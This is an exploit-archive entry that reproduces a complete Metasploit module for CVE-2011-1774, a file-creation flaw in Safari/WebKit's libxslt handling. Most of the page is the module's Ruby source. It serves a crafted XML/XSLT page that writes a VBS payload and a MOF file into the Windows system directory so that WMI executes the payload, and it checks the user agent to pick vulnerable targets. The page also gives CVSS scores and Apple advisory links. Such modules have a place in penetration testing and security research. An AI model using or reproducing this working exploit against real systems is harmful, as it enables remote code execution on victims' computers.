Apple Safari Webkit libxslt Arbitrary File Creation

2011.10.29
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 8.8/10
Impact Subscore: 9.2/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Complete
Availability impact: Complete

## # $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info = {}) super(update_info(info, 'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation', 'Description' => %q{ This module exploits a file creation vulnerability in the Webkit rendering engine. It is possible to redirect the output of a XSLT transformation to an arbitrary file. The content of the created file must be ASCII or UTF-8. The destination path can be relative or absolute. This module has been tested on Safari and Maxthon. Code execution can be acheived by first uploading the payload to the remote machine in VBS format, and then upload a MOF file, which enables Windows Management Instrumentation service to execute the VBS. }, 'License' => MSF_LICENSE, 'Author' => ['Nicolas Gregoire'], 'Version' => '$Revision: 13987 $', 'References' => [ ['CVE', '2011-1774'], ['OSVDB', '74017'], ['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'], ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ #Windows before Vista [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 20 2011')) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Check target before attacking agent = request.headers['User-Agent'] if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/ print_error("This target isn't supported: #{agent.to_s}") send_not_found(cli) return end url = "http://" url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += ":" + datastore['SRVPORT'] + get_resource() + "/" content = <<-EOS <?xml-stylesheet type="text/xml" href="#fragment"?> <!-- Define the DTD of the document This is needed, in order to later reference the XSLT stylesheet by a #fragment This trick allows to have both the XML and the XSL in the same file Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html --> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED >]> <doc> <!-- Define location and content of the files --> <mof> <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location> <content><![CDATA[#{@mof_content}]]></content> </mof><vbs> <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location> <content><![CDATA[#{@vbs_content}]]></content> </vbs> <!-- The XSLT stylesheet header, including the "sx" extension --> <xsl:stylesheet id="fragment" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:sx="http://icl.com/saxon" extension-element-prefixes="sx" xmlns="http://www.w3.org/1999/xhtml" > <xsl:output method="xml" indent="yes" /> <!-- The XSLT template --> <xsl:template match="/"> <!-- Define some XSLT variables --> <xsl:variable name="moflocation" select="//mof/location/text()"/> <xsl:variable name="vbslocation" select="//vbs/location/text()"/> <!-- Create the files --> <sx:output file="{$vbslocation}" method="text"> <xsl:value-of select="//vbs/content"/> </sx:output> <sx:output file="{$moflocation}" method="text"> <xsl:value-of select="//mof/content"/> </sx:output> <!-- Some output to the browser --> <html> </html> </xsl:template> </xsl:stylesheet> </doc> EOS #Clear the extra tabs content = content.gsub(/^\t\t/, '') print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, content, {'Content-Type'=>'application/xml'}) handler(cli) end def exploit # In order to save binary data to the file system the payload is written to a VBS # file and execute it from there via a MOF @mof_name = rand_text_alpha(rand(5)+5) + ".mof" @vbs_name = rand_text_alpha(rand(5)+5) + ".vbs" print_status("Encoding payload into vbs...") payload = generate_payload_exe @vbs_content = Msf::Util::EXE.to_exe_vbs(payload) print_status("Generating mof file...") @mof_content = generate_mof(@mof_name, @vbs_name) super end end

References:

http://lists.apple.com/archives/security-announce/2011//Jul/msg00002.html
http://support.apple.com/kb/HT4999
http://support.apple.com/kb/HT4981
http://support.apple.com/kb/HT4808
http://lists.apple.com/archives/Security-announce/2011//Oct/msg00001.html
http://lists.apple.com/archives/Security-announce/2011//Oct/msg00000.html


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